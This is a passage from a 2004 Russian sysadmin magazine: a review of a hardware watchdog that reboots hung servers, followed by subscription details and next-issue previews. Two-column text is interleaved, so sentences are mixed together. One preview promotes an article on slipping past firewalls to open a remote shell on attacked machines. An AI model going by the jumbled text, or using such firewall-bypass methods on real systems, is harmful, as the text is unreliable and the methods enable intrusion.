тания. Благодаря дополнительным проводам watchdog том «Полная установка», никаких проблем быть не долж-
умеет правильно реанимировать их. Запуск сервера бу- но. Но стоит только выбрать опцию «Выборочная» или
дет происходить точно так же, как если бы человек нажал «Только документация», или отключить галочку напротив
на кнопку power. компонента «Серверное ПО», как вы начинаете стреми-
Итак, разобравшись с основными принципами фун- тельно приближаться к граблям, забытым разработчика-
кционирования следящего комплекса, давайте перей- ми в коде инсталлятора.
дем к практическим испытаниям работоспособности Дело в том, что в систему при данном раскладе не
предлагаемой технологии. Пожалуй, начнем экспери- будет установлена ни служба watchdogd, ни вспомога-
ментировать на сервере, работающем под управлени- тельные утилиты. Соответственно при завершении ус-
ем Windows. тановки получаем ошибку, запечатленную на следующем
С помощью стандартного кабеля подаем питание на снимке.
прибор watchdog и подсоединяем к нему сервер с помо-
щью кабеля RS232. Сервер запитываем пока не от
watchdog, а от обычной электросети. Включаем черный
и серый переключатели. Оба светодиода начинают син-
хронно мигать раз в секунду. Это означает что прибор
находится в режиме ожидания контакта с демоном Ничего удивительного в этом нет, инсталлятор всего
watchdogd. Поступаем мы так с той целью, чтобы нео- лишь пытается запустить несуществующую службу. Не-
сторожными движениями в процессе настройки и отлад- приятно, но все же не смертельно. После установки в си-
ки не уронить наш сервер. стемном меню появляются вот такие пункты.

90
hardware
ны, можно пытаться запустить сервис watchdog. Немного
подумав, специально решил проверить, каким образом
обстоит дело с отладочными сообщениями и насколько
удобно будет проводить по ним диагностику неисправнос-
тей и ошибок конфигурирования. Задавшись такой целью,
Конечно, кроме пунктов, связанных с документацией, я намеренно внес ошибки в конфигурационный файл. Про-
больше ничего в этом меню не функционирует. Ситуацию блема была в том, что я не вписал секретное слово в оп-
спасает лишь повторная установка полного набора ком- цию ctl_secret. Как и ожидалось, ни с первого, ни с какого-
понентов. Все программы начинают нормально работать либо другого раза запустить сервис не удалось, в ответ на
только при таком варианте инсталляции. все попытки на экране появлялось вот такое сообщение.
Закончив с установкой, приступаем к конфигуриро-
ванию. Производится оно с помощью редактирования
файла настроек, находящегося по следующему пути –
C:\Program Files\Comar\Watchdog\watchdog.conf. Тут нас
ожидает очередной ляпсус, все комментарии в файле кон-
фигурации написаны в кодировке koi8-r, что, скажем, выг-
лядит довольно странно в системах Windows, родной ко-
дировкой для которых является cp-1251. Комментарии
почитать очень хочется, поэтому приходится одной копии
файла дать расширение html и открыть ее в Internet
Explorer, чтобы появилась возможность переключать ко- Ну что же, раз методом грубой силы заставить рабо-
дировку текста, а вторую в редакторе дабы вносить в файл тать программу не удалось, значит будем искать причину
изменения, закрыв глаза на каракули. Опции, на значе- неполадок. Посмотрев в системный журнал, в котором хра-
ния которых нужно обратить пристальное внимание, пе- нятся данные, связанные с работой приложений, можно
речислены ниже: увидеть записи о таком критическом событии.
! rs_port – имя COM-порта, к которому подключен кабель
от устройства watchdog. В моем случае это был COM1.
Определить, какой порт будет у вас, можно, перебрав
все возможные. Думаю, это будет нетрудно, ведь их
всего четыре.
! test_host – адрес тестируемого хоста. Обычно исполь-
зуется localhost.
! test_port – порт тестируемой службы. Эта опция позво-
ляет сервису watchdog проводить дополнительные про- Как видите, сообщение об ошибке, несмотря на свою
верки жизнеспособности машины. К примеру, может краткость, точно и исчерпывающе описывает суть пробле-
случиться так, что сервер отвечает по сети на ping, но мы и явно указывает номер строки, а также опцию, на ко-
все службы, кроме watchdog, на нем уже в нерабочем торой споткнулась программа. Удовлетворенные получен-
состоянии. Таким образом, указав номер порта инте- ным результатом, ставим программе еще один жирный
ресующей службы, можно быть четко уверенным, что плюс. Исправив ошибку в конфигурационном файле, сно-
watchdog не перезапустит машину до тех пор, пока на- ва пытаемся запустить сервис. В этот раз все прошло как
блюдаемая служба жива. Для моего тестового серве- по маслу, сервис удачно стартовал, и в журнале систем-
ра таким показателем служит 135-й порт, задейство- ных событий можно увидеть следующие записи.
ванный в стандартной реализации интерфейса вызо-
ва удаленных процедур (RPC). Ну а вы, к примеру, мо-
жете выбрать любой другой порт, на котором работа-
ет интересная для вас служба. Кандидатом на этот по-
четный пост может выступить, например, ssh, telnet,
smtp или любая другая служба.
! ctl_secret – секретная фраза, которая будет использо-
ваться во время общения между демоном watchdogd и
устройством. Такая мера применяется ради повыше-
ния безопасности, хотя мне кажется весьма сомнитель-
ным, что кто-то будет пытаться взломать устройство с
целью получить контроль над ним. Непонятно, как сде-
лать это без физического доступа к устройству. В то
же время, если есть физический доступ, то, наверное,
целесообразнее взламывать сам сервер.

После того как эти минимальные настройки выполне-

№4(17), апрель 2004 91


hardware
После того как демон успешно связался с устрой- менем системных часов сервера. Это возможно реали-
ством, зеленый светодиод начинает редко мигать. Такое зовать благодаря тому, что в устройство встроены авто-
состояние дел указывает на то, что сервер в порядке и номные часы с питанием от батарейки. При получении
устройство работает в штатном режиме. Плюс ко всему Live-пакета часы устройства будет установлены на то же
в директории C:\Program Files\Comar\Watchdog\log\ по- самое время, что и часы сервера. При таком потребле-
явятся файлы протокола, отражающие четкую последо- нии батарейки должно хватить на долгие годы. Кстати,
вательность происходивших событий и действий, пред- при желании можно легко заглянуть внутрь прибора и
принятых устройством в случае, если требовалось его самолично оценить простоту и изящество внутреннего
вмешательство. устройства.

Кстати, стоит отметить, что производитель устройства


не запрещает вам самостоятельно собирать прибор, на
сайте компании можно свободно скачать принципиальную
схему устройства. Так же есть возможность переделывать
программу демон под свои собственные нужды, хотя уда-
Думаю, что вышеприведенные записи в файле прото- лять реквизиты фирмы создателя, выводимые на экран
кола, описывающие ход одного из моих экспериментов, во время загрузки программы, запрещено. Второе огра-
довольно легко понять. Судя по надписям, я очень часто ничение накладывается на продажу третьим лицам при-
прерывал работу устройства и сервера самыми разными боров созданных самостоятельно. Впрочем, судя по заяв-
способами. Если обратиться к документации, то можно лениям разработчиков, и этот вопрос вполне решаем, ви-
узнать, что именно означает каждое ключевое слово и ка- димо нужно будет отчислять некоторые проценты с про-
кие события стоят за ним: даж в пользу развития проекта.
! watchdog on – произошло включение устройства; Итак, завершив начальные тесты, пришло время занять-
! repower – watchdog выполнил прерывание питания сер- ся серьезными вещами. Выключаем сервер через систем-
вера; ное меню, созданное watchdog, или через использование
! notify: boot – произошел первый запуск демона; программы wd_ctl. В результате этого действия сервер дол-
! restart procedure – начата процедура перезапуска сер- жен быть остановлен, и оба светодиода должны погаснуть.
вера; Если все произошло именно так, значит watchdog сей-
! normal shutdown – сервер начал плановую остановку, час находится в состоянии блокировки и не будет пытать-
в отличие от события repower, четко видно, что тут вме- ся поднимать сервер, даже если мы отключим устройство
шался пользователь и вручную остановил сервер; и сервер от электропитания, а потом снова включим. При-
! watchdog locked – устройство вошло в режим блоки- знак блокировки записывается в энергонезависимую па-
ровки; мять и хранится там до тех пор, пока мы самостоятельно
! watchdog unlocked – устройство разблокировано; не включим сервер и автоматически запущенный демон
! reset – watchdog перезапущен командой reset. watchdogd не снимет его первым Live-пакетом.
Теперь нам нужно отключить сервер от электросети
Изначально все события между перезагрузками сер- для того, чтобы запитать его от устройства watchdog. Сде-
вера хранятся в энергонезависимой памяти устройства лав это, затаим на секунду дыхание и нажмем на кнопку
и в момент удачного контакта с демоном watchdogd за- «power». Как и ожидалось, сервер загрузился, и устрой-
писываются в файл протокола на жестком диске. Такая ство перешло в штатный режим работы.
возможность мне кажется очень полезной, поэтому до- А теперь давайте проверим, как устройство отреаги-
бавляем комплексу еще один плюс. Даже при многократ- рует на потерю сигнала, с этой целью отключаем от сер-
ных перезагрузках сервера, происходивших в отсутствие вера кабель RS232 либо останавливаем демона. В зави-
администратора, протокол не портится и продолжает по- симости от настроек устройство ждет прибытия сигнала
полняться событиями. Время, которым помечены все про- от демона строго отведенное время и затем начнет под-
исходившие события, обязательно будет совпадать с вре- готовку к перезапуску сервера. Красный светодиод нач-

92
hardware
нет часто мигать, указывая на то, что сейчас произойдет ставляющего соответствующий уровень выполнения. Для
прерывание питания. Если присоединить кабель на мес- FreeBSD такую команду можно добавить в системный
то или вновь запустить демона, то положение нормализу- файл /etc/rc или создать свой скрипт в /usr/local/etc/rc.d.
ется и снова редко замигает зеленый огонек, но мы де- Если файл конфигурации демона watchdogd по какой-либо
лать этого не станем. Еще через несколько секунд крас- причине называется не /etc/watchdog.conf, то нужно обя-
ный огонек начнет гореть постоянно, и мы услышим ха- зательно передать демону правильное имя с помощью
рактерный щелчок реле, разрывающего цепь питания. опции –f. Кроме изменения настроек /etc/watchdog.conf,
Сервер должен пройти через стандартную процедуру заг- больше можно ничего не делать. Впрочем, изменять на-
рузки, интересно, что будет, если начать вмешиваться в стройки несложно, так как файлы конфигурации идентич-
этот процесс и не давать ему завершиться. С этой целью ны для Windows и UNIX-платформ. В остальном же функ-
можно или нажать и удерживать любую клавишу, тем са- ционирование программы под управлением UNIX ничем
мым генерируя ошибку диагностики клавиатуры, либо сра- не отличается от работы Windows.
зу после завершения диагностики входить в настройку Еще одним интересным для нас моментом является
BIOS. Таким образом мы сможем имитировать потенци- понятие «мертвая зона». Во время загрузки сервера быва-
ально опасные ситуации, такие как возникновение аппа- ют такие моменты, когда процессы, происходящие внутри,
ратных неполадок на сервере или, к примеру, долгий про- лучше не прерывать. Примером такого опасного процесса
цесс починки файловой системы. Как только время, отве- может служить программа fsck, выполняющая починку
денное на нормальную загрузку сервера (по умолчанию файловой системы после неудачного завершения работы.
это пять минут) истечет, watchdog снова прервет питание. В такие моменты самое лучшее, что может сделать
Но мы опять не даем серверу нормально загрузиться. watchdog, – это не вмешиваться в естественный ход собы-
Подождав еще пять минут, устройство снова перезагру- тий. Под UNIX такого эффекта добиться довольно легко,
зит сервер, в случае неудачи такая последовательность нужно всего лишь добавить в системные скрипты перед
будет повторена еще один раз. Поняв, что так быстро сер- командой fdisk команду wd_ctl dzone_in, указывающую
вер поднять невозможно, watchdog увеличит интервал watchdog, что сервер вошел в мертвую зону и его нельзя
ожидания до 30 минут. тревожить. И затем команду wd_ctl dzone_out, уведомляю-
Стоит заметить, что все настройки, влияющие на по- щую устройство о том, что мертвая зона благополучно прой-
ведение watchdog, можно изменить сообразно собствен- дена. По идее, никто не мешает нам описать не одну, а не-
ному понимаю того, как должна вести себя мониторинго- сколько мертвых зон при необходимости. К сожалению, под
вая система. Исхода у описанных выше событий может Windows выполнить подобные трюки, по крайней мере сей-
быть два: либо сервер поднимется после столь долгой час, невозможно по той простой причине, что не совсем
паузы самостоятельно и watchdog это сразу же заметит, понятно, как встроить выполнение своей программы в сис-
либо после нескольких проходов по циклу наступит рабо- темный загрузчик, не нарушив ход его выполнения.
чий день и администратор вмешается в ход событий. Та- Мое повествование о работе с watchdog подходит к
кая интеллектуальность в выполнении функций позволя- концу. Хотелось бы сказать, что комплекс кажется мне до-
ет быть уверенным, что watchdog не доведет сервер до статочно зрелым и надежным для того, чтобы его можно
смерти бесконечными перезапусками. было с успехом применять в мониторинге серверов. Очень
Закончив изуверские фокусы с Windows, перейдем к понравилась гибкость настроек и простота конфигуриро-
UNIX-системам. Тестирование устройства производилось вания устройства. Собственноручно протестировав все
под управлением ALT Linux Master 2.2 и FreeBSD 4.9. Про- режимы работы прибора, могу сказать, что его поведе-
цесс сборки и последующей инсталляции прост, как три ние точно соответствует характеристикам, заявленным
копейки, а посему доступен даже самому неопытному ад- разработчиками. За исключением мелких ошибок, о ко-
министратору. Большим плюсом программного обеспече- торых я писал выше по тексту, нескольких опечаток в до-
ния watchdog является тот факт, что оно написано на язы- кументации и довольно скудного описания процесса ин-
ке C и не содержит в себе каких-либо объектно-ориентиро- сталляции на UNIX-платформу недостатков найдено не
ванных излишеств, поэтому для его компиляции не нужно было. Кстати, еще интересен вопрос о том, как watchdog
никаких сторонних пакетов, только стандартные библиоте- будет справляться с оборудованием, у которого два неза-
ки языка C. Такая простота, заложенная в изначальный висимых ввода питания и автоматическое переключение
дизайн программы, позволяет перенести ее на любую UNIX- между ними. Видимо, для этого придется создавать ка-
платформу без каких-либо существенных изменений. кую-то новую модель устройства. В качестве пожелания
Нынче же приступим к компиляции, для этого нужно разработчикам можно сказать, что хотелось бы видеть не-
всего лишь распаковать исходные тексты демона и ути- сколько устройств watchdog, собранных в один корпус, та-
лит, затем перейти в получившуюся директорию и выпол- ким образом, разработка будет лучше всего подходить для
нить команду make. Конфигурационный файл будет ско- монтажа в стандартную серверную стойку. В такой вид
пирован в /etc/watchdog.conf, а демон и вспомогательные устройства можно было бы и веб-интерфейс встроить.
утилиты – в /sbin. Протоколы работы будут складываться Хочется выразить огромную благодарность Владими-
в /var/log/watchdog. Для Linux создаем свой собственный ру Ропаеву за труды по созданию фотографий, использо-
скрипт загрузки демона в каталоге /etc/rc.d, где хранятся ванных в этой статье. На этой приятной ноте хотелось бы
сценарии запуска всех остальных системных демонов и закончить на сегодня наше, надеюсь, приятное для мно-
не забываем создать на него ссылку из каталога пред- гих общение.

№4(17), апрель 2004 93


подписка на II полугодие 2004
Российская Федерация ! Узбекистан – по каталогу «Davriy nashrlar» российские
! Подписной индекс: 81655 издания через агентство по распространению печати
Каталог агентства «Роспечать» «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,
! Подписной индекс: 87836 5/3, офис 33)
Объединенный каталог «Пресса России» ! Азербайджан – по объединенному каталогу российс-
Адресный каталог «Подписка за рабочим столом» ких изданий через предприятие по распространению
Адресный каталог «Библиотечный каталог» печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
! Альтернативные подписные агентства: ! Армения – по списку номенклатуры «АРЗИ» через
Агентство «Интер-Почта» (095) 500-00-60, курьерская ГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Да-
доставка по Москве вида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван,
Агентство «Вся Пресса» (095) 787-34-47 ул.Сарьяна, 22)
Агентство «Курьер-Прессервис» ! Грузия – по списку номенклатуры «АРЗИ» через АО
! Подписка On-line «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская,
http://www.arzy.ru 29 ) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахур-
http://www.gazety.ru дия, 42)
http://www.presscafe.ru ! Молдавия – по каталогу через ГП «Пошта Молдавей»
(МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)
СНГ по списку через ГУП «Почта Приднестровья» (МD-3300,
В странах СНГ подписка принимается в почтовых отделе- г.Тирасполь, ул.Ленина, 17)
ниях по национальным каталогам или по списку номенк- по прайслисту через ООО Агентство «Editil Periodice»
латуры АРЗИ: (2012, г.Кишинев, бул. Штефан чел Маре, 134)
! Казахстан – по каталогу «Российская Пресса» через ! Подписка для Украины:
ОАО «Казпочта» и ЗАО «Евразия пресс» Киевский главпочтамп
! Беларусь – по каталогу изданий стран СНГ через РГО Подписное агентство «KSS»
«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10) Телефон/факс (044)464-0220

Подписные
индексы:

81655
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса России»

№4(17), апрель 2004 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№4(17), Апрель, 2004 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Редактор INSERT – Inside Security Побег через брандмауэр
Андрей Бешков Rescue Toolkit плюс терминализация
Научно-технические консультанты Бешеная популярность GNU/Linux не в всей NT
Дмитрий Горяинов последнюю очередь обусловлена на- В настоящей статье рассматривают-
Валерий Цуканов личием большого количества узконап- ся различные способы обхода бранд-
Владимир Мешков равленных дистрибутивов, адаптиро- мауэров с целью организации на ата-
ванных для выполнения определенных куемом компьютере удаленного тер-
РЕКЛАМНАЯ СЛУЖБА узконаправленных задач. Наиболее минального shell, работающего под
тел./факс: (095) 928-8253 популярны среди них firewalls, позво- операционными системами UNIX и
Константин Меделян ляющие настроить доступ в Интернет, Windows 9x/NT.
reсlama@samag.ru в том числе и не подготовленному Здесь вы найдете передовые ха-
пользователю. Также в последнее вре- керские методики, свободно проника-
Верстка и оформление мя становятся популярными дистрибу- ющие через любой, абсолютно любой
imposer@samag.ru тивы, предназначенные для анализа брандмауэр независимо от его архи-
maker_up@samag.ru сетевой безопасности удаленных и тектуры, степени защищенности и
Дизайн обложки локальных вычислительных систем и конфигурации, а также свободно рас-
Николай Петрочук сетей, в основном в виде LiveCD-дист- пространяемый пакет демонстраци-
рибутивов, позволяющих проделать онных утилит, предназначенный для
103045, г. Москва, все необходимые операции без уста- тестирования вашего брандмаузера
Ананьевский переулок, дом 4/2 стр. 1 новки системы на жесткий диск. При- на предмет его защищенности (или же
тел./факс: (095) 928-8253 чем некоторые разработки могут прий- отсутствие таковой).
Е-mail: info@samag.ru тись по вкусу и закоренелым пользо- Статья ориентирована на специа-
Internet: www.samag.ru вателям Windows систем, т.к. могут листов по информационной безопас-
оказаться тем единственным подруч- ности и системных администраторов,
РУКОВОДИТЕЛЬ ПРОЕКТА ным средством, при помощи которого знакомых с языком Си и имеющих
Петр Положевец можно спасти свои данные. Об одном опыт работы с Berkley-сокетами.
УЧРЕДИТЕЛИ таком дистрибутиве и пойдет речь да-
Владимир Положевец лее. INSERT – Inside Security Rescue Зеркалирование
Александр Михалев Toolkit так называется LiveCD-дистри- информации
бутив, от Inside Security IT Consulting В этой статье будет рассказано о со-
ИЗДАТЕЛЬ GmbH, предназначенный в первую оче- здании простой и удобной системы
ЗАО «Издательский дом редь для решения задач по спасению зеркалирования информации с помо-
«Учительская газета» данных и также для сетевого анализа. щью пакета CVSup – пакета программ
для передачи и обновления файлов
Отпечатано типографией MRTG и snort через сеть.
ГП «Московская Типография №13» «Лучше один раз увидеть, чем сто раз Трудно переоценить ту пользу, ко-
Тираж 7000 экз. услышать», – гласит пословица. Мно- торую приносят нам резервные копии,
Журнал зарегистрирован гие вещи в большинстве своём мы заботливо нами же и сделанные.
в Министерстве РФ по делам печати, лучше воспринимаем, когда видим их. Сколько нервов и времени не было
телерадиовещания и средств мас- Не всякая графическая информация благодаря им потрачено впустую…
совых коммуникаций (свидетельство нами воспринимается одинаково хо- Процесс зеркалирования хоть и
ПИ № 77-12542 от 24 апреля 2002г.) рошо. Выдать данные наглядно – это схож по смыслу, но все же несколько
целое искусство, (спрятать данные – отличается от классического резерв-
За содержание статьи ответственность тоже искусство). Несомненно, инфор- ного копирования информации. Более
несет автор. За содержание рекламно- мация об атаках может быть отобра- того, зеркалирование в полной мере
го обьявления ответственность несет жена по-разному. В этой статье будет не сможет его заменить. А зачем же
рекламодатель. Все права на опубли- рассказано, как настроить на совме- тогда его использовать зеркалирова-
кованные материалы защищены. Ре- стную работу MRTG – средство визу- ние, если оно не заменит процесс
дакция оставляет за собой право изме- ализации происходящего и систему стандартного бэкапа? Рассмотрим на
нять содержание следующих номеров. обнаружения атак Snort. небольшом примере.

96